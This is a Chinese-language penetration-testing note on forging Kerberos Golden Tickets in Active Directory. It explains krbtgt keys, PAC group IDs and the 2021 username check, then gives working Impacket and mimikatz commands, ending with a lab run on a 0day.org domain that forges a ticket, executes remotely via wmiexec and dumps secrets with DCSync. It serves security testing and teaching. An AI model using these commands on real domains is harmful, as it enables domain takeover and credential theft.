krbtgt 账户的长期密钥可以用来伪造特殊的 TGT(票据授权票,Ticket Granting Ticket),之后可以结合 Pass-the-ticket 技术访问 AD 域内的任意资源。krbtgt 的密钥用于加密 PAC(Privilege Attribute Certificate)。
在 Golden Ticket(黄金票据)攻击场景中,攻击者只要掌握了 krbtgt 的长期密钥,通常会伪造一个 PAC,声明该用户属于高权限组。这个 PAC 会被嵌入到伪造的 TGT 中。TGT 随后会被用来请求服务票据(Service Ticket),而这些服务票据会包含 TGT 中的 PAC,从而赋予攻击者大量访问权限。
Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。
要求:
在伪造票据时,2021年11月之前的系统只要 user-id 和 group-id 合理,用户名基本无所谓。但自 2021 年 11 月的更新后,如果票据中填写的用户名在 Active Directory 中不存在,票据会被拒绝(Silver Ticket 也一样)。
要制作黄金票据,测试者需要找到 krbtgt 账户的 RC4 密钥(即 NT hash)或 AES 密钥(128 或 256 位)。大多数情况下,这只能通过 ../../1-Credentials/DCSync 攻击、拥有域管权限后才能实现。因此,黄金票据只适用于横向移动,而不能用于权限提升。
微软现在默认使用 AES 256 位加密。使用这种加密算法(而不是直接给 NThash)会更加隐蔽。
利用 Impacket 可以完成票据的伪造: 检索 krbtgt
,检索域 SID,创建金票
# 查找域的 SID
lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0
# 使用 RC4 密钥(即 NT hash)生成黄金票据
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"
# 使用 AES 128/256 位密钥生成黄金票据
ticketer.py -aesKey "$krbtgtAESkey" -domain-sid "$domainSID" -domain "$DOMAIN" "randomuser"
# 使用 RC4 密钥(即 NT hash)并自定义用户/组 ID 生成黄金票据
ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -user-id "$USERID" -groups "$GROUPID1,$GROUPID2,..." "randomuser"
windwos下可以使用 mimikatz 进行票据伪造
# 使用 NT hash 生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /rc4:$krbtgt_NThash /user:randomuser /ptt
# 使用 AES 128 位密钥生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes128:$krbtgt_aes128_key /user:randomuser /ptt
# 使用 AES 256 位密钥生成黄金票据
kerberos::golden /domain:$DOMAIN /sid:$DomainSID /aes256:$krbtgt_aes256_key /user:randomuser /ptt
对于黄金票据(Golden Ticket)和白银票据(Silver Ticket),需要注意的是,默认情况下,ticketer 和 mimikatz 伪造的票据中 PAC(权限属性证书)会声明该用户属于一些众所周知的管理员组(即组ID 513、512、520、518、519)。但在某些场景下,这些组权限可能还不够(比如某些特殊机器上,即使是域管理员也没有本地管理员权限)。
在这种情况下,测试者可以在生成票据时手动指定所有需要的组ID。然而,Deny ACE(拒绝访问控制项)实际上可能会阻止这种方式生效。如果遇到 Deny ACE 阻止域管理员登录,而你又在票据中包含了域管理员组ID,这就会成为一个问题。对于拥有大量组的域来说,这种方法也非常不方便。
另一种解决方案是,寻找一个具有合适权限的特定用户进行模拟,然后使用 GoldenCopy 工具生成命令,允许你伪造一个包含目标用户特定属性(如sid、组ID等)的票据。这些属性值可以从 neo4j 数据库中收集获得。
黄金票据
#生成黄金票据
impacket-ticketer -nthash 36f9d9e6d98ecf8307baf4f46ef842a2 -domain-sid S-1-5-21-1812960810-2335050734-3517558805 -domain 0day.org golden
#导入票据
export KRB5CCNAME=golden.ccache
#PTH
impacket-wmiexec -k OWA2010SP3.0day.org -codec gbk
#DCSync
impacket-secretsdump -k OWA2010SP3.0day.org